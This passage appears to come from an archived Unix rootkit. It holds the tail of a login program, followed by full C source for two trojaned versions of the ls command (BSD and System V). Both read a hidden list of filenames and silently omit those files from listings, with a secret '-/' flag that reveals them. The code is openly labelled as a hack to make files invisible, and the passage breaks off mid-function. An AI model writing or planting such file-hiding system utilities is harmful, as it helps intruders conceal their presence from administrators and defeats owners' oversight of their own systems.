1]; if (passwd == NULL) { return; } (void)getnetname(fullname); if (!getsecretkey(fullname, secret, passwd)) { return; } if (secret[0] == 0) { fprintf(stderr, "Password does not decrypt secret key for %s.\r\n", fullname); return; } if (key_setsecret(secret) < 0) { syslog(LOG_WARNING, "Could not set %s's secret key: is the keyserv daemon running?\n", fullname); return; } } */ audit_note(s, err) char *s; int err; { audit_argv[2] = s; audit_text(AU_LOGIN, err, err, 5, audit_argv); } /* * set_fb_attrs -- change owner/group/permissions of framebuffers * listed in /etc/fbtab. * * Note: * Exiting from set_fb_attrs upon error is not advisable * since it would disable logins on console devices. * * File format: * console mode device_name[:device_name ...] * # begins a comment and may appear anywhere on a line. * * Example: * /dev/console 0660 /dev/fb:/dev/cgtwo0:/dev/bwtwo0 * /dev/console 0660 /dev/gpone0a:/dev/gpone0b * * Description: * The example above sets the owner/group/permissions of the listed * devices to uid/gid/0660 if ttyn is /dev/console */ #define FIELD_DELIMS " \t\n" #define COLON ":" #define MAX_LINELEN 256 #define FBTAB "/etc/fbtab" set_fb_attrs(ttyn, uid, gid) char *ttyn; int uid; int gid; { char line[MAX_LINELEN]; char *console; char *mode_str; char *dev_list; char *device; char *ptr; int mode; long strtol(); FILE *fp; if ((fp = fopen(FBTAB, "r")) == NULL) return; while (fgets(line, MAX_LINELEN, fp)) { if (ptr = strchr(line, '#')) *ptr = '\0'; /* handle comments */ if ((console = strtok(line, FIELD_DELIMS)) == NULL) continue; /* ignore blank lines */ if (strcmp(console, ttyn) != 0) continue; /* ignore non-consoles */ mode_str = strtok((char *)NULL, FIELD_DELIMS); if (mode_str == NULL) { (void) fprintf(stderr, "%s: invalid entry -- %s\n", FBTAB, line); continue; } /* convert string to octal value */ mode = (int) strtol(mode_str, (char **)NULL, 8); if (mode < 0 || mode > 0777) { (void) fprintf(stderr, "%s: invalid mode -- %s\n", FBTAB, mode_str); continue; } dev_list = strtok((char *)NULL, FIELD_DELIMS); if (dev_list == NULL) { (void) fprintf(stderr, "%s: %s -- empty device list\n", FBTAB, console); continue; } device = strtok(dev_list, COLON); while (device) { (void) chown(device, uid, gid); (void) chmod(device, mode); device = strtok((char *)NULL, COLON); } } (void) fclose(fp); } ls.c100600 0 0 42363 5656060515 7747 0ustar rootroot/*+ * Modified ls command to mask certain files from being * listed with ls command. *NOT FULLY TESTED* +*/ /* * Copyright (c) 1980 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980 Regents of the University of California.\n\ All rights reserved.\n"; #endif not lint #ifndef lint static char sccsid[] = "@(#)ls.c 1.1 91/11/13 SMI"; /* from UCB 5.6 5/12/86 */ #endif not lint /* * ls * * 4.2bsd version for symbolic links, variable length * directory entries, block size in the inode, etc. */ #include #include #include #include #include #include #include #include #include "config.h" #define kbytes(size) (((size) + 1023) / 1024) struct afile { char ftype; /* file type, e.g. 'd', 'c', 'f' */ ino_t fnum; /* inode number of file */ short fflags; /* mode&~S_IFMT, perhaps ISARG */ short fnl; /* number of links */ uid_t fuid; /* owner id */ gid_t fgid; /* group id */ long fsize; /* file size */ long fblks; /* number of blocks used */ time_t fmtime; /* time (modify or access or create) */ char *fname; /* file name */ char *flinkto; /* symbolic link value */ }; #define ISARG 0x8000 /* extra ``mode'' */ struct subdirs { char *sd_name; struct subdirs *sd_next; } *subdirs; int aflg, dflg, gflg, lflg, sflg, tflg, uflg, iflg, fflg, cflg, rflg = 1; int qflg, Aflg, Cflg, Fflg, Lflg, Rflg; int usetabs; time_t now, sixmonthsago, onehourfromnow; char *dotp = "."; struct winsize win; int twidth; struct afile *gstat(); int fcmp(); char *cat(), *savestr(); char *fmtentry(); static char *getname(), *getgroup(); char *ctime(); char *malloc(), *calloc(), *realloc(); char *sprintf(), *strcpy(), *strcat(); /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define STR_SIZE 128 #define SHOWFLAG /* Able to list files with 'ls -/' command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; /*+ End hack vars +*/ main(argc, argv) int argc; char *argv[]; { int i; struct afile *fp0, *fplast; register struct afile *fp; struct sgttyb sgbuf; argc--, argv++; if (getuid() == 0) Aflg++; (void) time(&now); sixmonthsago = now - 6L*30L*24L*60L*60L; onehourfromnow = now + 60L*60L; now += 60; twidth = 80; if (isatty(1)) { qflg = Cflg = 1; (void) gtty(1, &sgbuf); if (ioctl(1, TIOCGWINSZ, &win) != -1) twidth = (win.ws_col == 0 ? 80 : win.ws_col); if ((sgbuf.sg_flags & XTABS) != XTABS) usetabs = 1; } else usetabs = 1; setlocale(LC_ALL, ""); /* get local environment */ /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (LSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ while (argc > 0 && **argv == '-') { (*argv)++; while (**argv) switch (*(*argv)++) { case 'C': Cflg = 1; break; case 'q': qflg = 1; break; case '1': Cflg = 0; break; case 'a': aflg++; break; case 'A': Aflg++; break; case 'c': cflg++; break; case 's': sflg++; break; case 'd': dflg++; break; case 'g': gflg++; break; case 'l': lflg++; break; case 'r': rflg = -1; break; case 't': tflg++; break; case 'u': uflg++; break; case 'i': iflg++; break; case 'f': fflg++; break; case 'L': Lflg++; break; case 'F': Fflg++; break; case 'R': Rflg++; break; #if defined (SHOWFLAG) case '/': showall++; break; #endif } argc--, argv++; } if (fflg) { aflg++; lflg = 0; sflg = 0; tflg = 0; } if (lflg) Cflg = 0; if (argc == 0) { argc++; argv = &dotp; } fp = (struct afile *)calloc(argc, sizeof (struct afile)); if (fp == 0) { fprintf(stderr, "ls: out of memory\n"); exit(1); } fp0 = fp; for (i = 0; i < argc; i++) { if (gstat(fp, *argv, 1, (int *)0)) { fp->fname = *argv; fp->fflags |= ISARG; fp++; } argv++; } fplast = fp; qsort(fp0, fplast - fp0, sizeof (struct afile), fcmp); if (dflg) { formatf(fp0, fplast); exit(0); } if (fflg) fp = fp0; else { for (fp = fp0; fp < fplast && fp->ftype != 'd'; fp++) continue; formatf(fp0, fp); } if (fp < fplast) { if (fp > fp0) printf("\n"); for (;;) { formatd(fp->fname, argc > 1); while (subdirs) { struct subdirs *t; t = subdirs; subdirs = t->sd_next; printf("\n"); formatd(t->sd_name, 1); cfree(t->sd_name); cfree((char *)t); } if (++fp == fplast) break; printf("\n"); } } exit(0); /* NOTREACHED */ } formatd(name, title) char *name; int title; { register struct afile *fp; register struct subdirs *dp; struct afile *dfp0, *dfplast; int nkb; nkb = getdir(name, &dfp0, &dfplast); if (dfp0 == 0) return; if (fflg == 0) qsort(dfp0, dfplast - dfp0, sizeof (struct afile), fcmp); if (title) printf("%s:\n", name); if (lflg || sflg) printf("total %ld\n", nkb); formatf(dfp0, dfplast); if (Rflg) for (fp = dfplast - 1; fp >= dfp0; fp--) { if (fp->ftype != 'd' || !strcmp(fp->fname, ".") || !strcmp(fp->fname, "..")) continue; dp = (struct subdirs *)malloc(sizeof (struct subdirs)); dp->sd_name = savestr(cat(name, fp->fname)); dp->sd_next = subdirs; subdirs = dp; } for (fp = dfp0; fp < dfplast; fp++) { if ((fp->fflags&ISARG) == 0 && fp->fname) cfree(fp->fname); if (fp->flinkto) cfree(fp->flinkto); } cfree((char *)dfp0); } getdir(dir, pfp0, pfplast) char *dir; struct afile **pfp0, **pfplast; { register struct afile *fp; DIR *dirp; register struct direct *dp; int nb, nent = 20; /* * This code (opendir, readdir, and the "for" loop) is arranged in * this strange manner to handle the case where UNIX lets root open * any directory for reading, but NFS does not let root read the * opened directory. */ *pfp0 = *pfplast = NULL; if ((dirp = opendir(dir)) == NULL) { printf("%s unreadable\n", dir); /* not stderr! */ return (0); } errno = 0; if (((dp = readdir(dirp)) == NULL) && (errno != 0)) { /* root reading across NFS can get to this error case */ printf("%s unreadable\n", dir); /* not stderr! */ closedir(dirp); return (0); } fp = *pfp0 = (struct afile *)calloc(nent, sizeof (struct afile)); *pfplast = *pfp0 + nent; nb = 0; for (; dp != NULL; dp = readdir(dirp)) { if (dp->d_ino == 0) continue; /*+ * mask out the files in the list we read in earlier. if * showflag is >0 then we should not do any masking. Note * that each time a file is read from the structure it is * compared. If you have 1000 files in your ls blockout * file, this might go a bit slow. * * Note, I don't like continue but its an easy work around. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (!(strcmp(dp->d_name, h_tmp->filename))) break; /* More kludge - bleah */ if (!(strcmp(dp->d_name, h_tmp->filename))) continue; if (aflg == 0 && dp->d_name[0]=='.' && (Aflg == 0 || dp->d_name[1]==0 || dp->d_name[1]=='.' && dp->d_name[2]==0)) continue; if (gstat(fp, cat(dir, dp->d_name), Fflg+Rflg, &nb) == 0) continue; fp->fnum = dp->d_ino; fp->fname = savestr(dp->d_name); fp++; if (fp == *pfplast) { *pfp0 = (struct afile *)realloc((char *)*pfp0, 2 * nent * sizeof (struct afile)); if (*pfp0 == 0) { fprintf(stderr, "ls: out of memory\n"); exit(1); } fp = *pfp0 + nent; *pfplast = fp + nent; nent *= 2; } } closedir(dirp); *pfplast = fp; return (kbytes(dbtob(nb))); } int stat(), lstat(); struct afile * gstat(fp, file, statarg, pnb) register struct afile *fp; char *file; int statarg; int *pnb; /* (int *)0 if file is ISARG */ { int (*statf)() = Lflg ? stat : lstat; char buf[BUFSIZ]; int cc; static struct afile azerofile; *fp = azerofile; fp->fflags = 0; fp->fnum = 0; fp->ftype = '-'; if (statarg || sflg || lflg || tflg || cflg) { struct stat stb, stb1; if ((*statf)(file, &stb) < 0) { if (statf == lstat || lstat(file, &stb) < 0) { if (errno == ENOENT) fprintf(stderr, "%s not found\n", file); else { fprintf(stderr, "ls: "); perror(file); } return (0); } } fp->fblks = stb.st_blocks; fp->fsize = stb.st_size; switch (stb.st_mode & S_IFMT) { case S_IFDIR: fp->ftype = 'd'; break; case S_IFBLK: fp->ftype = 'b'; fp->fsize = stb.st_rdev; break; case S_IFCHR: fp->ftype = 'c'; fp->fsize = stb.st_rdev; break; case S_IFSOCK: fp->ftype = 's'; fp->fsize = 0; break; case S_IFIFO: fp->ftype = 'p'; fp->fsize = 0; break; case S_IFLNK: fp->ftype = 'l'; if (lflg) { cc = readlink(file, buf, BUFSIZ); if (cc >= 0) { /* * here we follow the symbolic * link to generate the proper * Fflg marker for the object, * eg, /bin -> /pub/bin/ */ buf[cc] = 0; if (Fflg && !stat(buf, &stb1)) switch (stb1.st_mode & S_IFMT){ case S_IFDIR: buf[cc++] = '/'; break; case S_IFSOCK: buf[cc++] = '='; break; default: if ((stb1.st_mode & ~S_IFMT) & 0111) buf[cc++] = '*'; break; } buf[cc] = 0; fp->flinkto = savestr(buf); } break; } /* * this is a hack from UCB to avoid having * ls /bin behave differently from ls /bin/ * when /bin is a symbolic link. We hack the * hack to have that happen, but only for * explicit arguments, by inspecting pnb. */ if (pnb != (int *)0 || stat(file, &stb1) < 0) break; if ((stb1.st_mode & S_IFMT) == S_IFDIR) { stb = stb1; fp->ftype = 'd'; fp->fsize = stb.st_size; fp->fblks = stb.st_blocks; } break; } fp->fnum = stb.st_ino; fp->fflags = stb.st_mode & ~S_IFMT; fp->fnl = stb.st_nlink; fp->fuid = stb.st_uid; fp->fgid = stb.st_gid; if (uflg) fp->fmtime = stb.st_atime; else if (cflg) fp->fmtime = stb.st_ctime; else fp->fmtime = stb.st_mtime; if (pnb) *pnb += stb.st_blocks; } return (fp); } formatf(fp0, fplast) struct afile *fp0, *fplast; { register struct afile *fp; int width = 0, w, nentry = fplast - fp0; int i, j, columns, lines; char *cp; if (fp0 == fplast) return; if (lflg || Cflg == 0) columns = 1; else { for (fp = fp0; fp < fplast; fp++) { int len = strlen(fmtentry(fp)); if (len > width) width = len; } if (usetabs) width = (width + 8) &~ 7; else width += 2; columns = twidth / width; if (columns == 0) columns = 1; } lines = (nentry + columns - 1) / columns; for (i = 0; i < lines; i++) { for (j = 0; j < columns; j++) { fp = fp0 + j * lines + i; cp = fmtentry(fp); printf("%s", cp); if (fp + lines >= fplast) { printf("\n"); break; } w = strlen(cp); while (w < width) if (usetabs) { w = (w + 8) &~ 7; putchar('\t'); } else { w++; putchar(' '); } } } } fcmp(f1, f2) register struct afile *f1, *f2; { if (dflg == 0 && fflg == 0) { if ((f1->fflags&ISARG) && f1->ftype == 'd') { if ((f2->fflags&ISARG) == 0 || f2->ftype != 'd') return (1); } else { if ((f2->fflags&ISARG) && f2->ftype == 'd') return (-1); } } if (tflg || cflg) { if (f2->fmtime == f1->fmtime) return (0); if (f2->fmtime > f1->fmtime) return (rflg); return (-rflg); } return (rflg * strcmp(f1->fname, f2->fname)); } char * cat(dir, file) char *dir, *file; { static char dfile[BUFSIZ]; if (strlen(dir)+1+strlen(file)+1 > BUFSIZ) { fprintf(stderr, "ls: filename too long\n"); exit(1); } if (!strcmp(dir, "") || !strcmp(dir, ".")) { (void) strcpy(dfile, file); return (dfile); } (void) strcpy(dfile, dir); if (dir[strlen(dir) - 1] != '/' && *file != '/') (void) strcat(dfile, "/"); (void) strcat(dfile, file); return (dfile); } char * savestr(str) char *str; { char *cp = malloc(strlen(str) + 1); if (cp == NULL) { fprintf(stderr, "ls: out of memory\n"); exit(1); } (void) strcpy(cp, str); return (cp); } char *fmtinum(), *fmtsize(), *fmtlstuff(), *fmtmode(); char * fmtentry(fp) register struct afile *fp; { static char fmtres[BUFSIZ]; register char *cp, *dp; (void) sprintf(fmtres, "%s%s%s", iflg ? fmtinum(fp) : "", sflg ? fmtsize(fp) : "", lflg ? fmtlstuff(fp) : ""); dp = &fmtres[strlen(fmtres)]; for (cp = fp->fname; *cp; cp++) if (qflg && !isprint((unsigned char)*cp)) *dp++ = '?'; else *dp++ = *cp; /* avoid both "->" and trailing marks */ if (Fflg && ! (lflg && fp->flinkto)) { if (fp->ftype == 'd') *dp++ = '/'; else if (fp->ftype == 'l') *dp++ = '@'; else if (fp->ftype == 's') *dp++ = '='; else if (fp->fflags & 0111) *dp++ = '*'; } if (lflg && fp->flinkto) { (void) strcpy(dp, " -> "); dp += 4; for (cp = fp->flinkto; *cp; cp++) if (qflg && !isprint((unsigned char) *cp)) *dp++ = '?'; else *dp++ = *cp; } *dp++ = 0; return (fmtres); } char * fmtinum(p) register struct afile *p; { static char inumbuf[8]; (void) sprintf(inumbuf, "%6d ", p->fnum); return (inumbuf); } char * fmtsize(p) register struct afile *p; { static char sizebuf[32]; (void) sprintf(sizebuf, "%4ld ", kbytes(dbtob(p->fblks))); return (sizebuf); } char * fmtlstuff(p) register struct afile *p; { static char lstuffbuf[256]; char gname[32], uname[32], fsize[32], ftime[32]; register char *lp = lstuffbuf; /* type mode uname gname fsize ftime */ /* get uname */ { char *cp = getname(p->fuid); (void) sprintf(uname, "%-9.9s", cp); } /* get gname */ if (gflg) { char *cp = getgroup(p->fgid); (void) sprintf(gname, "%-9.9s", cp); } /* get fsize */ if (p->ftype == 'b' || p->ftype == 'c') (void) sprintf(fsize, "%3d,%4d", major(p->fsize), minor(p->fsize)); else if (p->ftype == 's') (void) sprintf(fsize, "%8ld", 0); else (void) sprintf(fsize, "%8ld", p->fsize); /* get ftime */ { char *cp = ctime(&p->fmtime); if ((p->fmtime < sixmonthsago) || (p->fmtime > onehourfromnow)) (void) sprintf(ftime, " %-7.7s %-4.4s ", cp+4, cp+20); else (void) sprintf(ftime, " %-12.12s ", cp+4); } /* splat */ *lp++ = p->ftype; lp = fmtmode(lp, p->fflags); (void) sprintf(lp, "%3d %s%s%s%s", p->fnl, uname, gflg ? gname : "", fsize, ftime); return (lstuffbuf); } int m1[] = { 1, S_IREAD>>0, 'r', '-' }; int m2[] = { 1, S_IWRITE>>0, 'w', '-' }; int m3[] = { 3, S_ISUID|(S_IEXEC>>0), 's', S_IEXEC>>0, 'x', S_ISUID, 'S', '-' }; int m4[] = { 1, S_IREAD>>3, 'r', '-' }; int m5[] = { 1, S_IWRITE>>3, 'w', '-' }; int m6[] = { 3, S_ISGID|(S_IEXEC>>3), 's', S_IEXEC>>3, 'x', S_ISGID, 'S', '-' }; int m7[] = { 1, S_IREAD>>6, 'r', '-' }; int m8[] = { 1, S_IWRITE>>6, 'w', '-' }; int m9[] = { 3, S_ISVTX|(S_IEXEC>>6), 't', S_IEXEC>>6, 'x', S_ISVTX, 'T', '-'}; int *m[] = { m1, m2, m3, m4, m5, m6, m7, m8, m9}; char * fmtmode(lp, flags) char *lp; int flags; { int **mp; for (mp = &m[0]; mp < &m[sizeof (m)/sizeof (m[0])]; ) { register int *pairp = *mp++; register int n = *pairp++; while (n-- > 0) { if ((flags&*pairp) == *pairp) { pairp++; break; } else pairp += 2; } *lp++ = *pairp; } return (lp); } /* rest should be done with nameserver or database */ #include #include #include struct utmp utmp; #define NMAX (sizeof (utmp.ut_name)) #define SCPYN(a, b) strncpy(a, b, NMAX) struct cachenode { /* this struct must be zeroed before using */ struct cachenode *lesschild; /* subtree whose entries < val */ struct cachenode *grtrchild; /* subtree whose entries > val */ int val; /* the uid or gid of this entry */ int initted; /* name has been filled in */ char name[NMAX+1]; /* the string that val maps to */ } *names, *groups; static struct cachenode * findincache(head, val) struct cachenode **head; register int val; { register struct cachenode **parent = head; register struct cachenode *c = *parent; while (c != NULL) { if (val == c->val) { /* found it */ return (c); } else if (val < c->val) { parent = &c->lesschild; c = c->lesschild; } else { parent = &c->grtrchild; c = c->grtrchild; } } /* not in the cache, make a new entry for it */ *parent = c = (struct cachenode *) calloc(1, sizeof (struct cachenode)); c->val = val; return (c); } static char * getname(uid) int uid; { register struct cachenode *c; struct passwd *pw; c = findincache(&names, uid); if (c->initted == 0) { if ((pw = getpwuid(uid)) != NULL) { SCPYN(&c->name[0], pw->pw_name); } else { (void) sprintf(&c->name[0], "%-8d", uid); } c->initted = 1; } return (&c->name[0]); } static char * getgroup(gid) int gid; { register struct cachenode *c; struct group *gr; c = findincache(&groups, gid); if (c->initted == 0) { if ((gr = getgrgid(gid)) != NULL) { SCPYN(&c->name[0], gr->gr_name); } else { (void) sprintf(&c->name[0], "%-8d", gid); } c->initted = 1; } return (&c->name[0]); } ls5.c100600 0 0 57570 5656060533 10042 0ustar rootroot/*+ * Hacked /usr/5bin/ls that is included with * the SystemV additional pack. Become * invisible. *NOT FULLY TESTED* +*/ #ifndef lint static char sccsid[] = "@(#)ls.c 1.1 91/11/13 SMI"; /* from S5R2 1.19 */ #endif /* * list file or directory; * define DOTSUP to suppress listing of files beginning with dot */ #include #include #include #include #include #include #if u3b #include #endif #include #include #include "config.h" #ifndef STANDALONE #define TERMINFO #endif /* -DNOTERMINFO can be defined on the cc command line to prevent * the use of terminfo. This should be done on systems not having * the terminfo feature (pre 6.0 sytems ?). * As a result, columnar listings assume 80 columns for output, * unless told otherwise via the COLUMNS environment variable. */ /*+ * Not quite sure about this but * my term.h bombs on compile. +*/ #undef TERMINFO #ifdef TERMINFO #include #include "/usr/5include/term.h" #endif #define DOTSUP 1 #define ISARG 0100000 /* this bit equals 1 in lflags of structure lbuf * if name is an argument to ls; */ #define DIRECT 10 /* Number of direct blocks */ struct lbuf { char ltype; /* file type, e.g. 'd', 'c', 'f' */ ino_t lnum; /* inode number of file */ short lflags; /* 0777 bits used as r,w,x permissions */ short lnl; /* number of links to file */ unsigned short luid; /* owner id */ unsigned short lgid; /* group id */ long lsize; /* file size or major/minor dev numbers */ long lblks; /* number of blocks used */ long lmtime; /* time (modify or access or create) */ char *lname; /* for filename in directory or name in ls-command */ char *llinkto; /* symbolic link value */ }; struct dchain { char *dc_name; /* path name */ struct dchain *dc_next; /* next directory in the chain */ }; struct dchain *dfirst; /* start of the dir chain */ struct dchain *cdfirst; /* start of the durrent dir chain */ struct dchain *dtemp; /* temporary - used for linking */ char *curdir; /* the current directory */ int nfiles = 0; /* number of flist entries in current use */ int nargs = 0; /* number of flist entries used for arguments */ int maxfils = 0; /* number of flist/lbuf entries allocated */ int maxn = 0; /* number of flist entries with lbufs assigned */ int quantn = 1024; /* allocation growth quantum */ struct lbuf *nxtlbf; /* pointer to next lbuf to be assigned */ struct lbuf **flist; /* pointer to list of lbuf pointers */ struct lbuf *gstat(); FILE *pwdfu, *pwdfg; int aflg, bflg, cflg, dflg, fflg, gflg, iflg, lflg, mflg; int nflg, oflg, pflg, qflg, sflg, tflg, uflg, xflg; int Cflg, Fflg, Lflg, Rflg; int rflg = 1; /* initialized to 1 for special use in compar() */ int flags; int err = 0; /* Contains return code */ char *dmark; /* Used if -p option active. Contains "/" or NULL. */ unsigned lastuid = -1, lastgid = -1; int statreq; /* is > 0 if any of sflg, (n)lflg, tflg are on */ static int nomocore = 0; /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define STR_SIZE 128 #define SHOWFLAG /* Able to list files with 'ls -/' command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; /*+ End hack vars +*/ char *dotp = "."; char *makename(); char *getname(), *getgroup(); char *ctime(), *strcpy(); long tblocks; /* total number of blocks of files in a directory */ long year, now; int num_cols = 80; int colwidth; int filewidth; int fixedwidth; int curcol; int compar(); main(argc, argv) int argc; char *argv[]; { extern char *optarg; extern int optind; int amino, opterr=0; int c; register struct lbuf *ep; struct lbuf lb; int i, width; long time(); char *malloc(); void qsort(), exit(); #ifdef STANDALONE if (argv[0][0] == '\0') argc = getargv("ls", &argv, 0); #endif setlocale(LC_ALL, ""); /* get local environment */ lb.lmtime = time((long *) NULL); year = lb.lmtime - 6L*30L*24L*60L*60L; /* 6 months ago */ now = lb.lmtime + 60; #if defined (SHOWFLAG) while ((c=getopt(argc, argv, "RadCxmnlogrtucpFbqisfL/")) != EOF) switch(c) { #else while ((c=getopt(argc, argv, "RadCxmnlogrtucpFbqisfL")) != EOF) switch(c) { #endif case 'R': Rflg++; statreq++; continue; case 'a': aflg++; continue; case 'd': dflg++; continue; case 'C': Cflg = 1; mflg = 0; continue; case 'x': xflg = 1; Cflg = 1; mflg = 0; continue; case 'm': Cflg = 0; mflg = 1; continue; case 'n': nflg++; case 'l': lflg++; statreq++; continue; case 'o': oflg++; lflg++; statreq++; continue; case 'g': gflg++; lflg++; statreq++; continue; case 'r': rflg = -1; continue; case 't': tflg++; statreq++; continue; case 'u': uflg++; continue; case 'c': cflg++; continue; case 'p': pflg++; statreq++; continue; case 'F': Fflg++; statreq++; continue; case 'b': bflg = 1; qflg = 0; continue; case 'q': qflg = 1; bflg = 0; continue; case 'i': iflg++; continue; case 's': sflg++; statreq++; continue; case 'f': fflg++; continue; case 'L': Lflg++; continue; case '?': opterr++; continue; #if defined (SHOWFLAG) case '/': showall++; break; #endif } if(opterr) { fprintf(stderr,"usage: ls -RadCxmnlogrtucpFbqisfL [files]\n"); exit(2); } /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (LSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ if (fflg) { aflg++; lflg = 0; sflg = 0; tflg = 0; statreq = 0; } fixedwidth = 2; if (pflg || Fflg) fixedwidth++; if (iflg) fixedwidth += 6; if (sflg) fixedwidth += 5; if (lflg) { /* This is the way */ if (!gflg && !oflg) /* 5.0 behaved, but */ gflg = oflg = 1; /* it may be open */ else /* to interpretation*/ if (gflg && oflg) gflg = oflg = 0; Cflg = mflg = 0; } if (Cflg || mflg) { char *getenv(); char *clptr; if ((clptr = getenv("COLUMNS")) != NULL) num_cols = atoi(clptr); #ifdef TERMINFO else { setupterm(0,1,&i); /* get term description */ resetterm(); /* undo what setupterm changed */ if (i == 1) num_cols = columns; } #endif if (num_cols < 20 || num_cols > 160) /* assume it is an error */ num_cols = 80; } /* allocate space for flist and the associated */ /* data structures (lbufs) */ maxfils = quantn; if((flist=(struct lbuf **)malloc((unsigned)(maxfils * sizeof(struct lbuf *)))) == NULL || (nxtlbf = (struct lbuf *)malloc((unsigned)(quantn * sizeof(struct lbuf)))) == NULL) { fprintf(stderr, "ls: out of memory\n"); exit(2); } if ((amino=(argc-optind))==0) { /* case when no names are given * in ls-command and current * directory is to be used */ argv[optind] = dotp; } for (i=0; i < (amino ? amino : 1); i++) { if (Cflg || mflg) { width = strlen(argv[optind]); if (width > filewidth) filewidth = width; } if ((ep = gstat((*argv[optind] ? argv[optind] : dotp), 1))==NULL) { err = 2; optind++; continue; } ep->lname = (*argv[optind] ? argv[optind] : dotp); ep->lflags |= ISARG; optind++; nargs++; /* count good arguments stored in flist */ } colwidth = fixedwidth + filewidth; qsort(flist, (unsigned)nargs, sizeof(struct lbuf *), compar); for (i=0; iltype=='d' && dflg==0 || fflg) break; pem(&flist[0],&flist[i], 0); for (; ilname, (amino>1), nargs); /* -R: print subdirectories found */ while (dfirst || cdfirst) { /* Place direct subdirs on front in right order */ while (cdfirst) { /* reverse cdfirst onto front of dfirst */ dtemp = cdfirst; cdfirst = cdfirst -> dc_next; dtemp -> dc_next = dfirst; dfirst = dtemp; } /* take off first dir on dfirst & print it */ dtemp = dfirst; dfirst = dfirst->dc_next; pdirectory (dtemp->dc_name, 1, nargs); free (dtemp->dc_name); free ((char *)dtemp); } } exit(err); /*NOTREACHED*/ } /* * pdirectory: print the directory name, labelling it if title is * nonzero, using lp as the place to start reading in the dir. */ pdirectory (name, title, lp) char *name; int title; int lp; { register struct dchain *dp; register struct lbuf *ap; register char *pname; register int j; filewidth = 0; curdir = name; /*+ * This is needed to nook output * from the -R flag. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (!(strcmp(name, h_tmp->filename))) return; if (title) { putc('\n', stdout); pprintf(name); putc(':', stdout); curcol++; new_line(); } nfiles = lp; rddir(name); if (fflg==0) qsort(&flist[lp],(unsigned)(nfiles - lp),sizeof(struct lbuf *),compar); if (Rflg) for (j = nfiles - 1; j >= lp; j--) { ap = flist[j]; /*if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (!(strcmp(ap->lname, h_tmp->filename))) { */ if (ap->ltype == 'd' && strcmp(ap->lname, ".") && strcmp(ap->lname, "..")) { dp = (struct dchain *)calloc(1,sizeof(struct dchain)); if (dp == NULL) fprintf(stderr,"ls: out of memory\n"); pname = makename(curdir, ap->lname); dp->dc_name = (char *)calloc(1,strlen(pname)+1); if (dp->dc_name == NULL) { fprintf(stderr,"ls: out of memory\n"); free(dp); } else { strcpy(dp->dc_name, pname); dp -> dc_next = dfirst; dfirst = dp; } } } if (lflg || sflg) curcol += printf("total %ld", tblocks); pem(&flist[lp],&flist[nfiles],lflg||sflg); } /* * pem: print 'em. Print a list of files (e.g. a directory) bounded * by slp and lp. */ pem(slp, lp, tot_flag) register struct lbuf **slp, **lp; int tot_flag; { int ncols, nrows, row, col; register struct lbuf **ep; if (Cflg || mflg) ncols = num_cols / colwidth; if (ncols == 1 || mflg || xflg || !Cflg) { for (ep = slp; ep < lp; ep++) pentry(*ep); new_line(); return; } /* otherwise print -C columns */ if (tot_flag) slp--; nrows = (lp - slp - 1) / ncols + 1; for (row = 0; row < nrows; row++) { col = (row == 0 && tot_flag); for (; col < ncols; col++) { ep = slp + (nrows * col) + row; if (ep < lp) pentry(*ep); } new_line(); } } pentry(ap) /* print one output entry; * if uid/gid is not found in the appropriate * file (passwd/group), then print uid/gid instead of * user/group name; */ struct lbuf *ap; { struct { char dminor, dmajor; }; register struct lbuf *p; register char *cp; p = ap; column(); /*+ * This should remove most output except * for -R flag output, but that is covered * above +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (!(strcmp(p->lname, h_tmp->filename))) return; if (iflg) if (mflg && !lflg) curcol += printf("%u ", p->lnum); else curcol += printf("%5u ", p->lnum); if (sflg) curcol += printf( (mflg && !lflg) ? "%ld " : "%4ld " , (p->ltype != 'b' && p->ltype != 'c') ? p->lblks : 0L ); if (lflg) { putchar(p->ltype); curcol++; pmode(p->lflags); curcol += printf("%4d ", p->lnl); if (oflg) if(!nflg && (cp = getname(p->luid))!=NULL) curcol += printf("%-9.9s", cp); else curcol += printf("%-9u", p->luid); if (gflg) if(!nflg && (cp = getgroup(p->lgid))!=NULL) curcol += printf("%-9.9s", cp); else curcol += printf("%-9u", p->lgid); if (p->ltype=='b' || p->ltype=='c') curcol += printf("%3d,%3d", major((int)p->lsize), minor((int)p->lsize)); else curcol += printf("%7ld", p->lsize); cp = ctime(&p->lmtime); if((p->lmtime < year) || (p->lmtime > now)) curcol += printf(" %-7.7s %-4.4s ", cp+4, cp+20); else curcol += printf(" %-12.12s ", cp+4); } if (qflg || bflg) pprintf(p->lname); else curcol += printf("%s",p->lname); if (lflg && p->llinkto) { curcol += printf(" -> "); if (qflg || bflg) pprintf(p->llinkto); else curcol += printf("%s", p->llinkto); } else if (pflg) { if (p->ltype == 'd') { putc('/', stdout); curcol++; } } else if (Fflg) { if (p->ltype == 'd') { putc('/', stdout); curcol++; } else if (p->ltype == 'l') { putc('@', stdout); curcol++; } else if 